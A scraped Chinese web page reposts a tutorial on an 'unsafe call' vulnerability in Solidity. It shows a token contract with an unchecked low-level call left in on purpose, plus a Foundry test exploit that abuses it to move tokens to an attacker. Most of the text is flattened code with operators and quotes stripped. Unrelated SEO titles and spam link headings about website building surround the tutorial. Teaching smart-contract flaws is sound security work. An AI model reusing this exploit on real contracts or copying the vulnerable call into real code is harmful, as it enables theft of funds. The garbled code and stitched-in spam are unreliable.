当前位置: 首页 > news >正文

动态ip建网站昆明好seo怎么做

动态ip建网站,昆明好seo怎么做,毕业设计代做网站推荐,dede 网站地图区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability 1.1 漏洞合约1.2 漏洞分析1.3 攻击步骤分析1.4 攻击合约 Name: 不安全调用漏洞 (Unsafe Call Vulnerability) 重点#xff1a; 在 TokenWhale 合约的 approveAndCallcode 函数中#xff0c;漏洞允许任… 区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability 1.1 漏洞合约1.2 漏洞分析1.3 攻击步骤分析1.4 攻击合约 Name: 不安全调用漏洞 (Unsafe Call Vulnerability) 重点 在 TokenWhale 合约的 approveAndCallcode 函数中漏洞允许任意调用并传入任意数据。攻击者可以通过该函数利用 call(_extraData) 执行恶意代码例如调用 transfer 函数将资金转移给攻击者从而实现重入攻击并窃取资金。 1.1 漏洞合约 // SPDX-License-Identifier: MIT pragma solidity ^0.8.18; /* 名称: 不安全调用漏洞 (Unsafe Call Vulnerability)描述: 在 TokenWhale 合约的 approveAndCallcode 函数中该漏洞允许执行任意调用并传入任意数据从而导致潜在的安全风险和意外后果。该函数使用低级调用 (_spender.call(_extraData))在没有对 _spender 地址的有效性或 _extraData 数据进行任何验证的情况下执行代码。 这可能导致意外行为、重入攻击或未授权的操作。这个练习展示了在调用合约时输入和返回值未被检查的低级调用漏洞。 如果调用数据可控则很容易引发任意函数执行。缓解措施: 应尽可能避免使用低级调用 call。参考: https://blog.li.fi/20th-march-the-exploit-e9e1c5c03eb9 */import forge-std/Test.sol;contract TokenWhale {address player;uint256 public totalSupply;mapping(address uint256) public balanceOf;mapping(address mapping(address uint256)) public allowance;string public name Simple ERC20 Token;string public symbol SET;uint8 public decimals 18;function TokenWhaleDeploy(address _player) public {player _player;totalSupply 1000;balanceOf[player] 1000;}function isComplete() public view returns (bool) {return balanceOf[player] 1000000; // 1 mil}event Transfer(address indexed from, address indexed to, uint256 value);function _transfer(address to, uint256 value) internal {balanceOf[msg.sender] - value;balanceOf[to] value;emit Transfer(msg.sender, to, value);}function transfer(address to, uint256 value) public {require(balanceOf[msg.sender] value);require(balanceOf[to] value balanceOf[to]);_transfer(to, value);}event Approval(address indexed owner,address indexed spender,uint256 value);function approve(address spender, uint256 value) public {allowance[msg.sender][spender] value;emit Approval(msg.sender, spender, value);}function transferFrom(address from, address to, uint256 value) public {require(balanceOf[from] value);require(balanceOf[to] value balanceOf[to]);require(allowance[from][msg.sender] value);allowance[from][msg.sender] - value;_transfer(to, value);}/* Approves and then calls the contract code*/function approveAndCallcode(address _spender,uint256 _value,bytes memory _extraData) public {allowance[msg.sender][_spender] _value;bool success;// vulnerable call execute unsafe user code(success, ) _spender.call(_extraData);console.log(success:, success);} } 1.2 漏洞分析 approveAndCallcode()函数中的call可以调用_spender地址的任意函数。 1.3 攻击步骤分析 调用 approveAndCallcode 函数将 _spender 参数设置为 TokenWhaleContract 合约的地址。 将 _extraData 参数设置为 transfer 函数的函数签名及其参数触发低级调用 call从而执行 transfer 函数实现重入攻击。 输出结果 1.4 攻击合约 // SPDX-License-Identifier: MIT pragma solidity ^0.8.18;import forge-std/Test.sol; import ./UnsafeCall.sol;contract ContractTest is Test {TokenWhale TokenWhaleContract;address Koko;address Aquarius;function setUp() public {TokenWhaleContract new TokenWhale();Koko vm.addr(1);Aquarius vm.addr(2);// vm.deal(address(Koko), 1 ether);// vm.deal(address(Aquarius), 1 ether);vm.prank(Koko);TokenWhaleContract new TokenWhale();TokenWhaleContract.TokenWhaleDeploy(address(TokenWhaleContract));console.log(TokenWhale balance:,TokenWhaleContract.balanceOf(address(TokenWhaleContract)));}function testUnsafeCall() public {vm.prank(Aquarius);uint256 AquariusBalance;uint256 TokenWhaleBalance;AquariusBalance TokenWhaleContract.balanceOf(address(Aquarius));console.log(Aquarius Balance:, AquariusBalance);bytes memory _extraData abi.encodeWithSignature(transfer(address,uint256),address(Aquarius),700);TokenWhaleContract.approveAndCallcode(address(TokenWhaleContract),0,_extraData);assertEq(TokenWhaleContract.balanceOf(address(Aquarius)), 700);console.log(Attack success!!);TokenWhaleBalance TokenWhaleContract.balanceOf(address(TokenWhaleContract));console.log(TokenWhale Balance:, TokenWhaleBalance);AquariusBalance TokenWhaleContract.balanceOf(address(Aquarius));console.log(Aquarius Balance:, AquariusBalance);} }
http://www.dnsts.com.cn/news/30624.html

相关文章:

  • 婚纱网站页面设计广告制作公司名字
  • 关于seo网站优化公司区域网站设计
  • wordpress 下载模板站wordpress 国内 慢
  • 做刷单哪个网站找小白seo网站关键词优化报价
  • 即墨做网站的高端html5网站建设织梦模板
  • wordpress外贸网站模板图片幻灯片插件 wordpress
  • 网站的工作简报怎么做西安加盟代理网站建设
  • c 转网站开发建站房的公司
  • c php做网站对比曲阳网站建设
  • 济南商城网站建设婚纱网网站建设目的及功能定位
  • 寿县网站建设网站手机端首页用什么软件做
  • 凡科建站快车官网网站开发收获
  • 网站建设 试题精品网站建设费用 都来磐石网络
  • joomla 网站 html 空世界工厂网优质货源
  • 建站之星备案长清区网站建设宣传
  • 可以做网站的软件上传歌曲南宁网站外包
  • 郑州高端网站制作团队手机版的网站开发
  • 焦作网站制作-焦作网站建设-焦作网络公司-维科网络一般网站建设大概需要多少钱
  • 免费看电视剧的网站2021erp软件开发定制
  • 网站连通率软件开发下载
  • 网站域名查询ip地址做网站要先买域名吗
  • 百度如何才能搜索到你的网站百度优化师
  • 网站别人做的我自己怎么续费四川广安爱众app同城
  • win7 网站配置网站到底怎么做出来的
  • 网页安全站点设置wordpress 中文论坛
  • 电子商务网站建设成果ppy青岛房产网上备案查询
  • 如何开通自己的网站旅游手机网站模板
  • 论坛网站推广方案网络哪个公司便宜又好
  • 建设免费网站微信服务号菜单链接网站怎么做的
  • 敦煌网站建设西安企业建站价格